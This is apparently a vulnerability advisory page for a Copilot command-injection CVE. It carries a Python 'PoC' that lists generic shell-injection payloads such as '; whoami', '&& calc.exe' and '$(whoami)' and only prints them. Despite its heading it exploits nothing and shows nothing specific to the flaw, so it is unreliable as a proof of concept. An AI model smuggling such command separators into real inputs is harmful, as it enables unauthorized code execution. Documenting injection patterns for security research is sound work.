Improper neutralization of special elements used in a command ('command injection') in Copilot allows an unauthorized attacker to execute code locally.
Microsoft Copilot (all versions prior to security update)
PoC / Exploit Code
⚠ For Security Research Only
The following code is for security research and authorized testing only.
python
# CVE-2025-64671 PoC - Microsoft Copilot Command Injection
# This PoC demonstrates the command injection vulnerability in Microsoft Copilot
# Note: This is for educational and authorized testing purposes only
import subprocess
import sys
def test_copilot_command_injection():
"""
Simulates testing for CVE-2025-64671 command injection vulnerability
The vulnerability allows injection of OS commands through Copilot input
"""
# Malicious input that attempts command injection
# Attackers can inject commands using command separators
malicious_inputs = [
"; whoami", # Command chaining with semicolon
" && calc.exe", # Execute calculator via AND
" | dir", # Pipe command to list directory
"$(whoami)", # Command substitution
"`whoami`", # Backtick command substitution
"\nid", # Newline injection
]
print("[*] CVE-2025-64671 Command Injection Test")
print("[*] Target: Microsoft Copilot")
print("[*] Testing for improper input sanitization")
print("-" * 50)
for i, payload in enumerate(malicious_inputs, 1):
print(f"\n[Test {i}] Testing payload: {repr(payload)}")
# In real scenario, this would be sent to Copilot
# For safety, we only print what would happen
print(f"[+] Payload would be sent to Copilot: {payload}")
# Simulate potential command execution
# DO NOT EXECUTE IN PRODUCTION
print("[-] Simulating command injection...")
print(f"[~] If vulnerable, the following command would execute")
print(f"[~] Command: copilot-command {payload}")
print("\n[*] Mitigation: Apply Microsoft security updates")
print("[*] Reference: https://msrc.microsoft.com/update-guide/vulnerability/CVE-2025-64671")
if __name__ == "__main__":
test_copilot_command_injection()